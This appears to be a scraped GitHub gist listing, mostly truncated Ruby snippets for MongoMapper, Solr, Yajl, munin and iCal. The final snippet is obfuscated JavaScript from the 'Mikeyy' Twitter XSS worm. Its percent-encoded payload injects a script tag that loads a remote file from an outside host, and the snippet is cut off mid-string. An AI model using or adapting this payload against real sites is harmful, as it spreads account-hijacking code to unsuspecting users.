This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module MongoAdapter | |
class InstanceAdapter < Sunspot::Adapters::InstanceAdapter | |
def id | |
@instance.id | |
end | |
end | |
class DataAccessor < Sunspot::Adapters::DataAccessor | |
def load(id) | |
@clazz.find(id) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Hook our MongoMapper model into Solr | |
module MongoAdapter | |
class InstanceAdapter < Sunspot::Adapters::InstanceAdapter | |
def id | |
@instance.id | |
end | |
end | |
class DataAccessor < Sunspot::Adapters::DataAccessor | |
def load(id) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MongoMapper.connection = Mongo::Connection.new('localhost') | |
MongoMapper.database = 'solrtest' | |
class User | |
include MongoMapper::Document | |
has_many :lists | |
key :twit_id, Integer, :index => true, :unique => true | |
key :screen_name, String | |
key :name, String | |
key :location, String |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'mongo_mapper' | |
class User | |
include MongoMapper::Document | |
has_many :tweets | |
key :screen_name, String, :required => true | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Where u is a User object | |
irb(main):033:0> Tweet.all(:user => u) | |
=> [] | |
irb(main):034:0> Tweet.all(:user_id => u.id) | |
=> [] | |
irb(main):035:0> Tweet.all(:user_id => u._id) | |
=> [#<Tweet text:...] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1) | |
'Yajl load should be able to parse from a string' FAILED | |
expected {"a"=>1234} | |
got {"a"=>1234} | |
(compared using eql?) | |
/Users/dpc/Downloads/src/yajl-ruby/spec/global/global_spec.rb:34: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
irb(main):001:0> require 'rubygems' | |
=> true | |
irb(main):002:0> require 'tweetstream' | |
=> true | |
irb(main):003:0> Yajl::VERSION | |
=> "0.6.4" | |
irb(main):004:0> json = StringIO.new("{\"id\": 5687389800}") | |
=> #<StringIO:0x1155c9c> | |
irb(main):005:0> parser = Yajl::Parser.new | |
=> #<Yajl::Parser:0x1152e70> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# | |
# A munin script to monitor starling queues via starling_top | |
# Damon P. Cortesi (@dacort) | |
def output_config(queue_items) | |
puts <<-END | |
graph_category App | |
graph_title starling queues | |
graph_vlabel count |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'icalendear' | |
require 'csv' | |
cal_file = File.open("iCal_export.ics") | |
outfile = File.open('hours.csv', 'wb') | |
# Initialize | |
sum = 0 | |
week = 1 | |
prev_week = nil |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72 |